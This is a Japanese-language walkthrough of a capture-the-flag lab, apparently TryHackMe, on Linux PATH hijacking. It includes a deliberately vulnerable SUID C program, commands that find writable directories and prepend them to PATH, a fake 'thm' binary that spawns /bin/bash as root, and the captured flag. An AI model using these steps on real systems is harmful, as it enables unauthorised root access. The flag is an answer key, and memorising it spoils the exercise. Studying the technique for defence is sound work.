はじめに
Linux における PATH は、コマンドを検索するフォルダのリストを定義する環境変数です。
もしこのリストに「書き込み可能なディレクトリ」が含まれていると、攻撃者はそこに偽の実行ファイルを配置して任意のコードを実行できます。
つまり、PATH ハイジャックは「システムが実行ファイルを探す順序」を利用した権限昇格手法です。
PATH の仕組みを理解する
PATH は、シェルが実行ファイルを検索するディレクトリを指定します。
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
例えばコマンド thm を実行すると、Linux は上記フォルダを左から順に探します。
もし /usr/bin/thm が見つからなければ、次に /bin/thm …と続きます。
PATH ハイジャックの条件チェック
攻撃を成立させるには、次の4条件を確認します:
-
$PATHに含まれるフォルダ一覧 - 書き込み可能なフォルダがあるか
-
$PATHを変更できるか - root 権限で実行されるバイナリ(SUID付き)が PATH を利用しているか
脆弱なサンプルスクリプト
デモでは以下のようなCコードが使われます:
#include<unistd.h>
void main(){
setuid(0);
setgid(0);
system("thm");
}
このプログラムを path としてコンパイルし、SUIDビットをセットします。
gcc path_exp.c -o path -w
chmod u+s path
./path
これにより、path 実行時には root 権限で "thm" コマンドが呼び出されます。
書き込み可能フォルダを探す
次のコマンドでシステム全体を検索します。
find / -writable 2>/dev/null | cut -d "/" -f 2 | sort -u
出力の例:
home
tmp
var
usr
...
ここで /tmp などユーザ書き込み可能なフォルダが見つかれば狙い目です。
PATH を操作する
export を使って /tmp を PATH の先頭に追加します。
export PATH=/tmp:$PATH
echo $PATH
結果:
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
これで、システムは最初に /tmp 内のファイルを探すようになります。
偽の実行ファイルを作成する
root権限で呼ばれる thm コマンドを偽造します。
cd /tmp
echo "/bin/bash" > thm
chmod 7777 thm
実行権限とSUIDを付与したら、root実行バイナリがこれを優先的に呼び出します。
Exploit — PATH ハイジャックによる昇格
次の手順で root 取得:
cd /home/murdoch
echo "/bin/bash" > thm
chmod +x thm
export PATH=/home/murdoch:$PATH
./test
root シェル獲得!
flag の確認
find / -name flag6.txt 2>/dev/null
/home/matt/flag6.txt
cat /home/matt/flag6.txt
THM-736628929
Flag6: THM-736628929
まとめ
| 検証項目 | 状態 | 説明 |
|---|---|---|
| 書き込み可能PATH | /home/murdoch |
任意コードを置ける |
| PATH変更 | 可能 | exportコマンド利用可 |
| SUIDバイナリ | /home/murdoch/test |
root権限実行 |
| 偽thm実行 | 成功 |
/bin/bash 呼び出しでroot取得 |
-
PATHは盲点になりやすい権限昇格ベクター。
特にSUIDプログラムが外部コマンドを呼ぶときは注意。 - export PATH=/tmp:$PATH のような操作が可能なら要注意。
- 書き込み可能フォルダを必ずチェック!
Log
$ find / -name flag6.txt 2>/dev/null
/home/matt/flag6.txt
cd /home/murdoch
$ ls -ls
20 -rwsr-xr-x 1 root root 16712 Jun 20 2021 test
4 -rw-rw-r-- 1 root root 86 Jun 20 2021 thm.py
we can find test and thm.py have root right.
$ ./test
sh: 1: thm: not found
$ echo "/bin/bash" >thm
$ chmod 7777 thm
$ ls -l thm
-rwsrwsrwt 1 karen karen 10 Nov 7 07:19 thm
$ export PATH=/home/murdoch:$PATH
$ echo $PATH
/home/murdoch:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ ./test
THM-736628929
$